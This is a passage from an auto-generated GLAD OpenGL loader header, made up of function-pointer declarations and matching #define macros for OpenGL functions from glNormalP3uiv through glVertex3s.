GLAD_API_CALL PFNGLNORMALP3UIVPROC glad_glNormalP3uiv;
#define glNormalP3uiv glad_glNormalP3uiv
GLAD_API_CALL PFNGLNORMALPOINTERPROC glad_glNormalPointer;
#define glNormalPointer glad_glNormalPointer
GLAD_API_CALL PFNGLORTHOPROC glad_glOrtho;
#define glOrtho glad_glOrtho
GLAD_API_CALL PFNGLPASSTHROUGHPROC glad_glPassThrough;
#define glPassThrough glad_glPassThrough
GLAD_API_CALL PFNGLPIXELMAPFVPROC glad_glPixelMapfv;
#define glPixelMapfv glad_glPixelMapfv
GLAD_API_CALL PFNGLPIXELMAPUIVPROC glad_glPixelMapuiv;
#define glPixelMapuiv glad_glPixelMapuiv
GLAD_API_CALL PFNGLPIXELMAPUSVPROC glad_glPixelMapusv;
#define glPixelMapusv glad_glPixelMapusv
GLAD_API_CALL PFNGLPIXELSTOREFPROC glad_glPixelStoref;
#define glPixelStoref glad_glPixelStoref
GLAD_API_CALL PFNGLPIXELSTOREIPROC glad_glPixelStorei;
#define glPixelStorei glad_glPixelStorei
GLAD_API_CALL PFNGLPIXELTRANSFERFPROC glad_glPixelTransferf;
#define glPixelTransferf glad_glPixelTransferf
GLAD_API_CALL PFNGLPIXELTRANSFERIPROC glad_glPixelTransferi;
#define glPixelTransferi glad_glPixelTransferi
GLAD_API_CALL PFNGLPIXELZOOMPROC glad_glPixelZoom;
#define glPixelZoom glad_glPixelZoom
GLAD_API_CALL PFNGLPOINTPARAMETERFPROC glad_glPointParameterf;
#define glPointParameterf glad_glPointParameterf
GLAD_API_CALL PFNGLPOINTPARAMETERFVPROC glad_glPointParameterfv;
#define glPointParameterfv glad_glPointParameterfv
GLAD_API_CALL PFNGLPOINTPARAMETERIPROC glad_glPointParameteri;
#define glPointParameteri glad_glPointParameteri
GLAD_API_CALL PFNGLPOINTPARAMETERIVPROC glad_glPointParameteriv;
#define glPointParameteriv glad_glPointParameteriv
GLAD_API_CALL PFNGLPOINTSIZEPROC glad_glPointSize;
#define glPointSize glad_glPointSize
GLAD_API_CALL PFNGLPOLYGONMODEPROC glad_glPolygonMode;
#define glPolygonMode glad_glPolygonMode
GLAD_API_CALL PFNGLPOLYGONOFFSETPROC glad_glPolygonOffset;
#define glPolygonOffset glad_glPolygonOffset
GLAD_API_CALL PFNGLPOLYGONSTIPPLEPROC glad_glPolygonStipple;
#define glPolygonStipple glad_glPolygonStipple
GLAD_API_CALL PFNGLPOPATTRIBPROC glad_glPopAttrib;
#define glPopAttrib glad_glPopAttrib
GLAD_API_CALL PFNGLPOPCLIENTATTRIBPROC glad_glPopClientAttrib;
#define glPopClientAttrib glad_glPopClientAttrib
GLAD_API_CALL PFNGLPOPMATRIXPROC glad_glPopMatrix;
#define glPopMatrix glad_glPopMatrix
GLAD_API_CALL PFNGLPOPNAMEPROC glad_glPopName;
#define glPopName glad_glPopName
GLAD_API_CALL PFNGLPRIMITIVERESTARTINDEXPROC glad_glPrimitiveRestartIndex;
#define glPrimitiveRestartIndex glad_glPrimitiveRestartIndex
GLAD_API_CALL PFNGLPRIORITIZETEXTURESPROC glad_glPrioritizeTextures;
#define glPrioritizeTextures glad_glPrioritizeTextures
GLAD_API_CALL PFNGLPROGRAMBINARYPROC glad_glProgramBinary;
#define glProgramBinary glad_glProgramBinary
GLAD_API_CALL PFNGLPROGRAMPARAMETERIPROC glad_glProgramParameteri;
#define glProgramParameteri glad_glProgramParameteri
GLAD_API_CALL PFNGLPROVOKINGVERTEXPROC glad_glProvokingVertex;
#define glProvokingVertex glad_glProvokingVertex
GLAD_API_CALL PFNGLPUSHATTRIBPROC glad_glPushAttrib;
#define glPushAttrib glad_glPushAttrib
GLAD_API_CALL PFNGLPUSHCLIENTATTRIBPROC glad_glPushClientAttrib;
#define glPushClientAttrib glad_glPushClientAttrib
GLAD_API_CALL PFNGLPUSHMATRIXPROC glad_glPushMatrix;
#define glPushMatrix glad_glPushMatrix
GLAD_API_CALL PFNGLPUSHNAMEPROC glad_glPushName;
#define glPushName glad_glPushName
GLAD_API_CALL PFNGLQUERYCOUNTERPROC glad_glQueryCounter;
#define glQueryCounter glad_glQueryCounter
GLAD_API_CALL PFNGLRASTERPOS2DPROC glad_glRasterPos2d;
#define glRasterPos2d glad_glRasterPos2d
GLAD_API_CALL PFNGLRASTERPOS2DVPROC glad_glRasterPos2dv;
#define glRasterPos2dv glad_glRasterPos2dv
GLAD_API_CALL PFNGLRASTERPOS2FPROC glad_glRasterPos2f;
#define glRasterPos2f glad_glRasterPos2f
GLAD_API_CALL PFNGLRASTERPOS2FVPROC glad_glRasterPos2fv;
#define glRasterPos2fv glad_glRasterPos2fv
GLAD_API_CALL PFNGLRASTERPOS2IPROC glad_glRasterPos2i;
#define glRasterPos2i glad_glRasterPos2i
GLAD_API_CALL PFNGLRASTERPOS2IVPROC glad_glRasterPos2iv;
#define glRasterPos2iv glad_glRasterPos2iv
GLAD_API_CALL PFNGLRASTERPOS2SPROC glad_glRasterPos2s;
#define glRasterPos2s glad_glRasterPos2s
GLAD_API_CALL PFNGLRASTERPOS2SVPROC glad_glRasterPos2sv;
#define glRasterPos2sv glad_glRasterPos2sv
GLAD_API_CALL PFNGLRASTERPOS3DPROC glad_glRasterPos3d;
#define glRasterPos3d glad_glRasterPos3d
GLAD_API_CALL PFNGLRASTERPOS3DVPROC glad_glRasterPos3dv;
#define glRasterPos3dv glad_glRasterPos3dv
GLAD_API_CALL PFNGLRASTERPOS3FPROC glad_glRasterPos3f;
#define glRasterPos3f glad_glRasterPos3f
GLAD_API_CALL PFNGLRASTERPOS3FVPROC glad_glRasterPos3fv;
#define glRasterPos3fv glad_glRasterPos3fv
GLAD_API_CALL PFNGLRASTERPOS3IPROC glad_glRasterPos3i;
#define glRasterPos3i glad_glRasterPos3i
GLAD_API_CALL PFNGLRASTERPOS3IVPROC glad_glRasterPos3iv;
#define glRasterPos3iv glad_glRasterPos3iv
GLAD_API_CALL PFNGLRASTERPOS3SPROC glad_glRasterPos3s;
#define glRasterPos3s glad_glRasterPos3s
GLAD_API_CALL PFNGLRASTERPOS3SVPROC glad_glRasterPos3sv;
#define glRasterPos3sv glad_glRasterPos3sv
GLAD_API_CALL PFNGLRASTERPOS4DPROC glad_glRasterPos4d;
#define glRasterPos4d glad_glRasterPos4d
GLAD_API_CALL PFNGLRASTERPOS4DVPROC glad_glRasterPos4dv;
#define glRasterPos4dv glad_glRasterPos4dv
GLAD_API_CALL PFNGLRASTERPOS4FPROC glad_glRasterPos4f;
#define glRasterPos4f glad_glRasterPos4f
GLAD_API_CALL PFNGLRASTERPOS4FVPROC glad_glRasterPos4fv;
#define glRasterPos4fv glad_glRasterPos4fv
GLAD_API_CALL PFNGLRASTERPOS4IPROC glad_glRasterPos4i;
#define glRasterPos4i glad_glRasterPos4i
GLAD_API_CALL PFNGLRASTERPOS4IVPROC glad_glRasterPos4iv;
#define glRasterPos4iv glad_glRasterPos4iv
GLAD_API_CALL PFNGLRASTERPOS4SPROC glad_glRasterPos4s;
#define glRasterPos4s glad_glRasterPos4s
GLAD_API_CALL PFNGLRASTERPOS4SVPROC glad_glRasterPos4sv;
#define glRasterPos4sv glad_glRasterPos4sv
GLAD_API_CALL PFNGLREADBUFFERPROC glad_glReadBuffer;
#define glReadBuffer glad_glReadBuffer
GLAD_API_CALL PFNGLREADPIXELSPROC glad_glReadPixels;
#define glReadPixels glad_glReadPixels
GLAD_API_CALL PFNGLRECTDPROC glad_glRectd;
#define glRectd glad_glRectd
GLAD_API_CALL PFNGLRECTDVPROC glad_glRectdv;
#define glRectdv glad_glRectdv
GLAD_API_CALL PFNGLRECTFPROC glad_glRectf;
#define glRectf glad_glRectf
GLAD_API_CALL PFNGLRECTFVPROC glad_glRectfv;
#define glRectfv glad_glRectfv
GLAD_API_CALL PFNGLRECTIPROC glad_glRecti;
#define glRecti glad_glRecti
GLAD_API_CALL PFNGLRECTIVPROC glad_glRectiv;
#define glRectiv glad_glRectiv
GLAD_API_CALL PFNGLRECTSPROC glad_glRects;
#define glRects glad_glRects
GLAD_API_CALL PFNGLRECTSVPROC glad_glRectsv;
#define glRectsv glad_glRectsv
GLAD_API_CALL PFNGLRENDERMODEPROC glad_glRenderMode;
#define glRenderMode glad_glRenderMode
GLAD_API_CALL PFNGLRENDERBUFFERSTORAGEPROC glad_glRenderbufferStorage;
#define glRenderbufferStorage glad_glRenderbufferStorage
GLAD_API_CALL PFNGLRENDERBUFFERSTORAGEEXTPROC glad_glRenderbufferStorageEXT;
#define glRenderbufferStorageEXT glad_glRenderbufferStorageEXT
GLAD_API_CALL PFNGLRENDERBUFFERSTORAGEMULTISAMPLEPROC glad_glRenderbufferStorageMultisample;
#define glRenderbufferStorageMultisample glad_glRenderbufferStorageMultisample
GLAD_API_CALL PFNGLRENDERBUFFERSTORAGEMULTISAMPLEEXTPROC glad_glRenderbufferStorageMultisampleEXT;
#define glRenderbufferStorageMultisampleEXT glad_glRenderbufferStorageMultisampleEXT
GLAD_API_CALL PFNGLROTATEDPROC glad_glRotated;
#define glRotated glad_glRotated
GLAD_API_CALL PFNGLROTATEFPROC glad_glRotatef;
#define glRotatef glad_glRotatef
GLAD_API_CALL PFNGLSAMPLECOVERAGEPROC glad_glSampleCoverage;
#define glSampleCoverage glad_glSampleCoverage
GLAD_API_CALL PFNGLSAMPLEMASKIPROC glad_glSampleMaski;
#define glSampleMaski glad_glSampleMaski
GLAD_API_CALL PFNGLSAMPLERPARAMETERIIVPROC glad_glSamplerParameterIiv;
#define glSamplerParameterIiv glad_glSamplerParameterIiv
GLAD_API_CALL PFNGLSAMPLERPARAMETERIUIVPROC glad_glSamplerParameterIuiv;
#define glSamplerParameterIuiv glad_glSamplerParameterIuiv
GLAD_API_CALL PFNGLSAMPLERPARAMETERFPROC glad_glSamplerParameterf;
#define glSamplerParameterf glad_glSamplerParameterf
GLAD_API_CALL PFNGLSAMPLERPARAMETERFVPROC glad_glSamplerParameterfv;
#define glSamplerParameterfv glad_glSamplerParameterfv
GLAD_API_CALL PFNGLSAMPLERPARAMETERIPROC glad_glSamplerParameteri;
#define glSamplerParameteri glad_glSamplerParameteri
GLAD_API_CALL PFNGLSAMPLERPARAMETERIVPROC glad_glSamplerParameteriv;
#define glSamplerParameteriv glad_glSamplerParameteriv
GLAD_API_CALL PFNGLSCALEDPROC glad_glScaled;
#define glScaled glad_glScaled
GLAD_API_CALL PFNGLSCALEFPROC glad_glScalef;
#define glScalef glad_glScalef
GLAD_API_CALL PFNGLSCISSORPROC glad_glScissor;
#define glScissor glad_glScissor
GLAD_API_CALL PFNGLSECONDARYCOLOR3BPROC glad_glSecondaryColor3b;
#define glSecondaryColor3b glad_glSecondaryColor3b
GLAD_API_CALL PFNGLSECONDARYCOLOR3BVPROC glad_glSecondaryColor3bv;
#define glSecondaryColor3bv glad_glSecondaryColor3bv
GLAD_API_CALL PFNGLSECONDARYCOLOR3DPROC glad_glSecondaryColor3d;
#define glSecondaryColor3d glad_glSecondaryColor3d
GLAD_API_CALL PFNGLSECONDARYCOLOR3DVPROC glad_glSecondaryColor3dv;
#define glSecondaryColor3dv glad_glSecondaryColor3dv
GLAD_API_CALL PFNGLSECONDARYCOLOR3FPROC glad_glSecondaryColor3f;
#define glSecondaryColor3f glad_glSecondaryColor3f
GLAD_API_CALL PFNGLSECONDARYCOLOR3FVPROC glad_glSecondaryColor3fv;
#define glSecondaryColor3fv glad_glSecondaryColor3fv
GLAD_API_CALL PFNGLSECONDARYCOLOR3IPROC glad_glSecondaryColor3i;
#define glSecondaryColor3i glad_glSecondaryColor3i
GLAD_API_CALL PFNGLSECONDARYCOLOR3IVPROC glad_glSecondaryColor3iv;
#define glSecondaryColor3iv glad_glSecondaryColor3iv
GLAD_API_CALL PFNGLSECONDARYCOLOR3SPROC glad_glSecondaryColor3s;
#define glSecondaryColor3s glad_glSecondaryColor3s
GLAD_API_CALL PFNGLSECONDARYCOLOR3SVPROC glad_glSecondaryColor3sv;
#define glSecondaryColor3sv glad_glSecondaryColor3sv
GLAD_API_CALL PFNGLSECONDARYCOLOR3UBPROC glad_glSecondaryColor3ub;
#define glSecondaryColor3ub glad_glSecondaryColor3ub
GLAD_API_CALL PFNGLSECONDARYCOLOR3UBVPROC glad_glSecondaryColor3ubv;
#define glSecondaryColor3ubv glad_glSecondaryColor3ubv
GLAD_API_CALL PFNGLSECONDARYCOLOR3UIPROC glad_glSecondaryColor3ui;
#define glSecondaryColor3ui glad_glSecondaryColor3ui
GLAD_API_CALL PFNGLSECONDARYCOLOR3UIVPROC glad_glSecondaryColor3uiv;
#define glSecondaryColor3uiv glad_glSecondaryColor3uiv
GLAD_API_CALL PFNGLSECONDARYCOLOR3USPROC glad_glSecondaryColor3us;
#define glSecondaryColor3us glad_glSecondaryColor3us
GLAD_API_CALL PFNGLSECONDARYCOLOR3USVPROC glad_glSecondaryColor3usv;
#define glSecondaryColor3usv glad_glSecondaryColor3usv
GLAD_API_CALL PFNGLSECONDARYCOLORP3UIPROC glad_glSecondaryColorP3ui;
#define glSecondaryColorP3ui glad_glSecondaryColorP3ui
GLAD_API_CALL PFNGLSECONDARYCOLORP3UIVPROC glad_glSecondaryColorP3uiv;
#define glSecondaryColorP3uiv glad_glSecondaryColorP3uiv
GLAD_API_CALL PFNGLSECONDARYCOLORPOINTERPROC glad_glSecondaryColorPointer;
#define glSecondaryColorPointer glad_glSecondaryColorPointer
GLAD_API_CALL PFNGLSELECTBUFFERPROC glad_glSelectBuffer;
#define glSelectBuffer glad_glSelectBuffer
GLAD_API_CALL PFNGLSHADEMODELPROC glad_glShadeModel;
#define glShadeModel glad_glShadeModel
GLAD_API_CALL PFNGLSHADERSOURCEPROC glad_glShaderSource;
#define glShaderSource glad_glShaderSource
GLAD_API_CALL PFNGLSTENCILFUNCPROC glad_glStencilFunc;
#define glStencilFunc glad_glStencilFunc
GLAD_API_CALL PFNGLSTENCILFUNCSEPARATEPROC glad_glStencilFuncSeparate;
#define glStencilFuncSeparate glad_glStencilFuncSeparate
GLAD_API_CALL PFNGLSTENCILMASKPROC glad_glStencilMask;
#define glStencilMask glad_glStencilMask
GLAD_API_CALL PFNGLSTENCILMASKSEPARATEPROC glad_glStencilMaskSeparate;
#define glStencilMaskSeparate glad_glStencilMaskSeparate
GLAD_API_CALL PFNGLSTENCILOPPROC glad_glStencilOp;
#define glStencilOp glad_glStencilOp
GLAD_API_CALL PFNGLSTENCILOPSEPARATEPROC glad_glStencilOpSeparate;
#define glStencilOpSeparate glad_glStencilOpSeparate
GLAD_API_CALL PFNGLTEXBUFFERPROC glad_glTexBuffer;
#define glTexBuffer glad_glTexBuffer
GLAD_API_CALL PFNGLTEXCOORD1DPROC glad_glTexCoord1d;
#define glTexCoord1d glad_glTexCoord1d
GLAD_API_CALL PFNGLTEXCOORD1DVPROC glad_glTexCoord1dv;
#define glTexCoord1dv glad_glTexCoord1dv
GLAD_API_CALL PFNGLTEXCOORD1FPROC glad_glTexCoord1f;
#define glTexCoord1f glad_glTexCoord1f
GLAD_API_CALL PFNGLTEXCOORD1FVPROC glad_glTexCoord1fv;
#define glTexCoord1fv glad_glTexCoord1fv
GLAD_API_CALL PFNGLTEXCOORD1IPROC glad_glTexCoord1i;
#define glTexCoord1i glad_glTexCoord1i
GLAD_API_CALL PFNGLTEXCOORD1IVPROC glad_glTexCoord1iv;
#define glTexCoord1iv glad_glTexCoord1iv
GLAD_API_CALL PFNGLTEXCOORD1SPROC glad_glTexCoord1s;
#define glTexCoord1s glad_glTexCoord1s
GLAD_API_CALL PFNGLTEXCOORD1SVPROC glad_glTexCoord1sv;
#define glTexCoord1sv glad_glTexCoord1sv
GLAD_API_CALL PFNGLTEXCOORD2DPROC glad_glTexCoord2d;
#define glTexCoord2d glad_glTexCoord2d
GLAD_API_CALL PFNGLTEXCOORD2DVPROC glad_glTexCoord2dv;
#define glTexCoord2dv glad_glTexCoord2dv
GLAD_API_CALL PFNGLTEXCOORD2FPROC glad_glTexCoord2f;
#define glTexCoord2f glad_glTexCoord2f
GLAD_API_CALL PFNGLTEXCOORD2FVPROC glad_glTexCoord2fv;
#define glTexCoord2fv glad_glTexCoord2fv
GLAD_API_CALL PFNGLTEXCOORD2IPROC glad_glTexCoord2i;
#define glTexCoord2i glad_glTexCoord2i
GLAD_API_CALL PFNGLTEXCOORD2IVPROC glad_glTexCoord2iv;
#define glTexCoord2iv glad_glTexCoord2iv
GLAD_API_CALL PFNGLTEXCOORD2SPROC glad_glTexCoord2s;
#define glTexCoord2s glad_glTexCoord2s
GLAD_API_CALL PFNGLTEXCOORD2SVPROC glad_glTexCoord2sv;
#define glTexCoord2sv glad_glTexCoord2sv
GLAD_API_CALL PFNGLTEXCOORD3DPROC glad_glTexCoord3d;
#define glTexCoord3d glad_glTexCoord3d
GLAD_API_CALL PFNGLTEXCOORD3DVPROC glad_glTexCoord3dv;
#define glTexCoord3dv glad_glTexCoord3dv
GLAD_API_CALL PFNGLTEXCOORD3FPROC glad_glTexCoord3f;
#define glTexCoord3f glad_glTexCoord3f
GLAD_API_CALL PFNGLTEXCOORD3FVPROC glad_glTexCoord3fv;
#define glTexCoord3fv glad_glTexCoord3fv
GLAD_API_CALL PFNGLTEXCOORD3IPROC glad_glTexCoord3i;
#define glTexCoord3i glad_glTexCoord3i
GLAD_API_CALL PFNGLTEXCOORD3IVPROC glad_glTexCoord3iv;
#define glTexCoord3iv glad_glTexCoord3iv
GLAD_API_CALL PFNGLTEXCOORD3SPROC glad_glTexCoord3s;
#define glTexCoord3s glad_glTexCoord3s
GLAD_API_CALL PFNGLTEXCOORD3SVPROC glad_glTexCoord3sv;
#define glTexCoord3sv glad_glTexCoord3sv
GLAD_API_CALL PFNGLTEXCOORD4DPROC glad_glTexCoord4d;
#define glTexCoord4d glad_glTexCoord4d
GLAD_API_CALL PFNGLTEXCOORD4DVPROC glad_glTexCoord4dv;
#define glTexCoord4dv glad_glTexCoord4dv
GLAD_API_CALL PFNGLTEXCOORD4FPROC glad_glTexCoord4f;
#define glTexCoord4f glad_glTexCoord4f
GLAD_API_CALL PFNGLTEXCOORD4FVPROC glad_glTexCoord4fv;
#define glTexCoord4fv glad_glTexCoord4fv
GLAD_API_CALL PFNGLTEXCOORD4IPROC glad_glTexCoord4i;
#define glTexCoord4i glad_glTexCoord4i
GLAD_API_CALL PFNGLTEXCOORD4IVPROC glad_glTexCoord4iv;
#define glTexCoord4iv glad_glTexCoord4iv
GLAD_API_CALL PFNGLTEXCOORD4SPROC glad_glTexCoord4s;
#define glTexCoord4s glad_glTexCoord4s
GLAD_API_CALL PFNGLTEXCOORD4SVPROC glad_glTexCoord4sv;
#define glTexCoord4sv glad_glTexCoord4sv
GLAD_API_CALL PFNGLTEXCOORDP1UIPROC glad_glTexCoordP1ui;
#define glTexCoordP1ui glad_glTexCoordP1ui
GLAD_API_CALL PFNGLTEXCOORDP1UIVPROC glad_glTexCoordP1uiv;
#define glTexCoordP1uiv glad_glTexCoordP1uiv
GLAD_API_CALL PFNGLTEXCOORDP2UIPROC glad_glTexCoordP2ui;
#define glTexCoordP2ui glad_glTexCoordP2ui
GLAD_API_CALL PFNGLTEXCOORDP2UIVPROC glad_glTexCoordP2uiv;
#define glTexCoordP2uiv glad_glTexCoordP2uiv
GLAD_API_CALL PFNGLTEXCOORDP3UIPROC glad_glTexCoordP3ui;
#define glTexCoordP3ui glad_glTexCoordP3ui
GLAD_API_CALL PFNGLTEXCOORDP3UIVPROC glad_glTexCoordP3uiv;
#define glTexCoordP3uiv glad_glTexCoordP3uiv
GLAD_API_CALL PFNGLTEXCOORDP4UIPROC glad_glTexCoordP4ui;
#define glTexCoordP4ui glad_glTexCoordP4ui
GLAD_API_CALL PFNGLTEXCOORDP4UIVPROC glad_glTexCoordP4uiv;
#define glTexCoordP4uiv glad_glTexCoordP4uiv
GLAD_API_CALL PFNGLTEXCOORDPOINTERPROC glad_glTexCoordPointer;
#define glTexCoordPointer glad_glTexCoordPointer
GLAD_API_CALL PFNGLTEXENVFPROC glad_glTexEnvf;
#define glTexEnvf glad_glTexEnvf
GLAD_API_CALL PFNGLTEXENVFVPROC glad_glTexEnvfv;
#define glTexEnvfv glad_glTexEnvfv
GLAD_API_CALL PFNGLTEXENVIPROC glad_glTexEnvi;
#define glTexEnvi glad_glTexEnvi
GLAD_API_CALL PFNGLTEXENVIVPROC glad_glTexEnviv;
#define glTexEnviv glad_glTexEnviv
GLAD_API_CALL PFNGLTEXGENDPROC glad_glTexGend;
#define glTexGend glad_glTexGend
GLAD_API_CALL PFNGLTEXGENDVPROC glad_glTexGendv;
#define glTexGendv glad_glTexGendv
GLAD_API_CALL PFNGLTEXGENFPROC glad_glTexGenf;
#define glTexGenf glad_glTexGenf
GLAD_API_CALL PFNGLTEXGENFVPROC glad_glTexGenfv;
#define glTexGenfv glad_glTexGenfv
GLAD_API_CALL PFNGLTEXGENIPROC glad_glTexGeni;
#define glTexGeni glad_glTexGeni
GLAD_API_CALL PFNGLTEXGENIVPROC glad_glTexGeniv;
#define glTexGeniv glad_glTexGeniv
GLAD_API_CALL PFNGLTEXIMAGE1DPROC glad_glTexImage1D;
#define glTexImage1D glad_glTexImage1D
GLAD_API_CALL PFNGLTEXIMAGE2DPROC glad_glTexImage2D;
#define glTexImage2D glad_glTexImage2D
GLAD_API_CALL PFNGLTEXIMAGE2DMULTISAMPLEPROC glad_glTexImage2DMultisample;
#define glTexImage2DMultisample glad_glTexImage2DMultisample
GLAD_API_CALL PFNGLTEXIMAGE3DPROC glad_glTexImage3D;
#define glTexImage3D glad_glTexImage3D
GLAD_API_CALL PFNGLTEXIMAGE3DMULTISAMPLEPROC glad_glTexImage3DMultisample;
#define glTexImage3DMultisample glad_glTexImage3DMultisample
GLAD_API_CALL PFNGLTEXPARAMETERIIVPROC glad_glTexParameterIiv;
#define glTexParameterIiv glad_glTexParameterIiv
GLAD_API_CALL PFNGLTEXPARAMETERIUIVPROC glad_glTexParameterIuiv;
#define glTexParameterIuiv glad_glTexParameterIuiv
GLAD_API_CALL PFNGLTEXPARAMETERFPROC glad_glTexParameterf;
#define glTexParameterf glad_glTexParameterf
GLAD_API_CALL PFNGLTEXPARAMETERFVPROC glad_glTexParameterfv;
#define glTexParameterfv glad_glTexParameterfv
GLAD_API_CALL PFNGLTEXPARAMETERIPROC glad_glTexParameteri;
#define glTexParameteri glad_glTexParameteri
GLAD_API_CALL PFNGLTEXPARAMETERIVPROC glad_glTexParameteriv;
#define glTexParameteriv glad_glTexParameteriv
GLAD_API_CALL PFNGLTEXSUBIMAGE1DPROC glad_glTexSubImage1D;
#define glTexSubImage1D glad_glTexSubImage1D
GLAD_API_CALL PFNGLTEXSUBIMAGE2DPROC glad_glTexSubImage2D;
#define glTexSubImage2D glad_glTexSubImage2D
GLAD_API_CALL PFNGLTEXSUBIMAGE3DPROC glad_glTexSubImage3D;
#define glTexSubImage3D glad_glTexSubImage3D
GLAD_API_CALL PFNGLTRANSFORMFEEDBACKVARYINGSPROC glad_glTransformFeedbackVaryings;
#define glTransformFeedbackVaryings glad_glTransformFeedbackVaryings
GLAD_API_CALL PFNGLTRANSLATEDPROC glad_glTranslated;
#define glTranslated glad_glTranslated
GLAD_API_CALL PFNGLTRANSLATEFPROC glad_glTranslatef;
#define glTranslatef glad_glTranslatef
GLAD_API_CALL PFNGLUNIFORM1FPROC glad_glUniform1f;
#define glUniform1f glad_glUniform1f
GLAD_API_CALL PFNGLUNIFORM1FVPROC glad_glUniform1fv;
#define glUniform1fv glad_glUniform1fv
GLAD_API_CALL PFNGLUNIFORM1IPROC glad_glUniform1i;
#define glUniform1i glad_glUniform1i
GLAD_API_CALL PFNGLUNIFORM1IVPROC glad_glUniform1iv;
#define glUniform1iv glad_glUniform1iv
GLAD_API_CALL PFNGLUNIFORM1UIPROC glad_glUniform1ui;
#define glUniform1ui glad_glUniform1ui
GLAD_API_CALL PFNGLUNIFORM1UIVPROC glad_glUniform1uiv;
#define glUniform1uiv glad_glUniform1uiv
GLAD_API_CALL PFNGLUNIFORM2FPROC glad_glUniform2f;
#define glUniform2f glad_glUniform2f
GLAD_API_CALL PFNGLUNIFORM2FVPROC glad_glUniform2fv;
#define glUniform2fv glad_glUniform2fv
GLAD_API_CALL PFNGLUNIFORM2IPROC glad_glUniform2i;
#define glUniform2i glad_glUniform2i
GLAD_API_CALL PFNGLUNIFORM2IVPROC glad_glUniform2iv;
#define glUniform2iv glad_glUniform2iv
GLAD_API_CALL PFNGLUNIFORM2UIPROC glad_glUniform2ui;
#define glUniform2ui glad_glUniform2ui
GLAD_API_CALL PFNGLUNIFORM2UIVPROC glad_glUniform2uiv;
#define glUniform2uiv glad_glUniform2uiv
GLAD_API_CALL PFNGLUNIFORM3FPROC glad_glUniform3f;
#define glUniform3f glad_glUniform3f
GLAD_API_CALL PFNGLUNIFORM3FVPROC glad_glUniform3fv;
#define glUniform3fv glad_glUniform3fv
GLAD_API_CALL PFNGLUNIFORM3IPROC glad_glUniform3i;
#define glUniform3i glad_glUniform3i
GLAD_API_CALL PFNGLUNIFORM3IVPROC glad_glUniform3iv;
#define glUniform3iv glad_glUniform3iv
GLAD_API_CALL PFNGLUNIFORM3UIPROC glad_glUniform3ui;
#define glUniform3ui glad_glUniform3ui
GLAD_API_CALL PFNGLUNIFORM3UIVPROC glad_glUniform3uiv;
#define glUniform3uiv glad_glUniform3uiv
GLAD_API_CALL PFNGLUNIFORM4FPROC glad_glUniform4f;
#define glUniform4f glad_glUniform4f
GLAD_API_CALL PFNGLUNIFORM4FVPROC glad_glUniform4fv;
#define glUniform4fv glad_glUniform4fv
GLAD_API_CALL PFNGLUNIFORM4IPROC glad_glUniform4i;
#define glUniform4i glad_glUniform4i
GLAD_API_CALL PFNGLUNIFORM4IVPROC glad_glUniform4iv;
#define glUniform4iv glad_glUniform4iv
GLAD_API_CALL PFNGLUNIFORM4UIPROC glad_glUniform4ui;
#define glUniform4ui glad_glUniform4ui
GLAD_API_CALL PFNGLUNIFORM4UIVPROC glad_glUniform4uiv;
#define glUniform4uiv glad_glUniform4uiv
GLAD_API_CALL PFNGLUNIFORMBLOCKBINDINGPROC glad_glUniformBlockBinding;
#define glUniformBlockBinding glad_glUniformBlockBinding
GLAD_API_CALL PFNGLUNIFORMMATRIX2FVPROC glad_glUniformMatrix2fv;
#define glUniformMatrix2fv glad_glUniformMatrix2fv
GLAD_API_CALL PFNGLUNIFORMMATRIX2X3FVPROC glad_glUniformMatrix2x3fv;
#define glUniformMatrix2x3fv glad_glUniformMatrix2x3fv
GLAD_API_CALL PFNGLUNIFORMMATRIX2X4FVPROC glad_glUniformMatrix2x4fv;
#define glUniformMatrix2x4fv glad_glUniformMatrix2x4fv
GLAD_API_CALL PFNGLUNIFORMMATRIX3FVPROC glad_glUniformMatrix3fv;
#define glUniformMatrix3fv glad_glUniformMatrix3fv
GLAD_API_CALL PFNGLUNIFORMMATRIX3X2FVPROC glad_glUniformMatrix3x2fv;
#define glUniformMatrix3x2fv glad_glUniformMatrix3x2fv
GLAD_API_CALL PFNGLUNIFORMMATRIX3X4FVPROC glad_glUniformMatrix3x4fv;
#define glUniformMatrix3x4fv glad_glUniformMatrix3x4fv
GLAD_API_CALL PFNGLUNIFORMMATRIX4FVPROC glad_glUniformMatrix4fv;
#define glUniformMatrix4fv glad_glUniformMatrix4fv
GLAD_API_CALL PFNGLUNIFORMMATRIX4X2FVPROC glad_glUniformMatrix4x2fv;
#define glUniformMatrix4x2fv glad_glUniformMatrix4x2fv
GLAD_API_CALL PFNGLUNIFORMMATRIX4X3FVPROC glad_glUniformMatrix4x3fv;
#define glUniformMatrix4x3fv glad_glUniformMatrix4x3fv
GLAD_API_CALL PFNGLUNMAPBUFFERPROC glad_glUnmapBuffer;
#define glUnmapBuffer glad_glUnmapBuffer
GLAD_API_CALL PFNGLUSEPROGRAMPROC glad_glUseProgram;
#define glUseProgram glad_glUseProgram
GLAD_API_CALL PFNGLVALIDATEPROGRAMPROC glad_glValidateProgram;
#define glValidateProgram glad_glValidateProgram
GLAD_API_CALL PFNGLVERTEX2DPROC glad_glVertex2d;
#define glVertex2d glad_glVertex2d
GLAD_API_CALL PFNGLVERTEX2DVPROC glad_glVertex2dv;
#define glVertex2dv glad_glVertex2dv
GLAD_API_CALL PFNGLVERTEX2FPROC glad_glVertex2f;
#define glVertex2f glad_glVertex2f
GLAD_API_CALL PFNGLVERTEX2FVPROC glad_glVertex2fv;
#define glVertex2fv glad_glVertex2fv
GLAD_API_CALL PFNGLVERTEX2IPROC glad_glVertex2i;
#define glVertex2i glad_glVertex2i
GLAD_API_CALL PFNGLVERTEX2IVPROC glad_glVertex2iv;
#define glVertex2iv glad_glVertex2iv
GLAD_API_CALL PFNGLVERTEX2SPROC glad_glVertex2s;
#define glVertex2s glad_glVertex2s
GLAD_API_CALL PFNGLVERTEX2SVPROC glad_glVertex2sv;
#define glVertex2sv glad_glVertex2sv
GLAD_API_CALL PFNGLVERTEX3DPROC glad_glVertex3d;
#define glVertex3d glad_glVertex3d
GLAD_API_CALL PFNGLVERTEX3DVPROC glad_glVertex3dv;
#define glVertex3dv glad_glVertex3dv
GLAD_API_CALL PFNGLVERTEX3FPROC glad_glVertex3f;
#define glVertex3f glad_glVertex3f
GLAD_API_CALL PFNGLVERTEX3FVPROC glad_glVertex3fv;
#define glVertex3fv glad_glVertex3fv
GLAD_API_CALL PFNGLVERTEX3IPROC glad_glVertex3i;
#define glVertex3i glad_glVertex3i
GLAD_API_CALL PFNGLVERTEX3IVPROC glad_glVertex3iv;
#define glVertex3iv glad_glVertex3iv
GLAD_API_CALL PFNGLVERTEX3SPROC glad_glVertex3s;
#define glVertex3s glad_glVertex3s
